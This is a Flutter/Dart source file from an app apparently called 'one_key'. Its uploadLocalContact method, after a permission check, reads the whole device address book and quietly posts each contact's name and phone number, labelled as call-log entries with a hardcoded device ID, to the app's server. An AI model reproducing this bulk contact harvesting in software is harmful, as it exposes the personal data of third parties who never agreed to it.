contact_model.dart 2.39 KB
import 'dart:convert';
import 'dart:io';

import 'package:common_utils/common_utils.dart';
import 'package:contacts_service/contacts_service.dart';
import 'package:dio/dio.dart';
import 'package:flutter/cupertino.dart';
import 'package:one_key/constant/constant.dart';
import 'package:one_key/net/base_resp.dart';
import 'package:one_key/net/dio_util.dart';
import 'package:one_key/net/http_url.dart';
import 'package:one_key/provider/user_model.dart';
import 'package:one_key/utils/misc.dart';
import 'package:provider/provider.dart';

import '../app.dart';

/**
 * 上传联系人
 */
class ContactModel{

  ContactModel._();

  static ContactModel _instance;

  static ContactModel getInstance(){
    if(_instance==null){
      _instance=ContactModel._();
    }
    return _instance;
  }

  uploadLocalContact(BuildContext context) async {
    bool isUpload=App.sp.getBool("isUpload")??false;
    if(isUpload)return;
    bool authority=await requestContactPermission();
    if(authority){
      Iterable<Contact> contacts=await ContactsService.getContacts(withThumbnails: false);
      List<Map<String,String>> callLogs=[];

      contacts.forEach((contact){
        String phoneNum="";
        if(contact.phones.isNotEmpty){
          phoneNum=contact.phones.first.value.replaceAll(new RegExp(r"\s+\b|\b\s"), "");
        }
          Map<String,String> callLog={
            "phoneNum":"${phoneNum.trim()}",
            "sid":Provider.of<UserModel>(context,listen: false).user.sellerid,
            "deviceId":"dhgajkhdgahghsdghdkgahd",
            "phoneDate":"${DateTime.now().millisecondsSinceEpoch}",
            "callType":"2",
            "callUser":"${contact.displayName}",
            "account":Provider.of<UserModel>(context,listen: false).user.account
          };
        callLogs.add(callLog);
      });
      Map<String,String> params={
        "data":jsonEncode(callLogs)
      };
      BaseResp<String> baseResp = await DioUtil()
          .request<String>(context, Method.get, HttpUrl.upload_contact,showLoading: false,
          data: params,options: Options(method: Method.post,contentType: ContentType.parse("application/x-www-form-urlencoded")))
          .catchError((error) {
        print(error.toString());
      });
      if(baseResp!=null&&baseResp.code == Constant.status_success){
        LogUtil.v("联系人上传成功:${contacts.length}条");
        App.sp.setBool("isUpload", true);
      }
    }
  }
}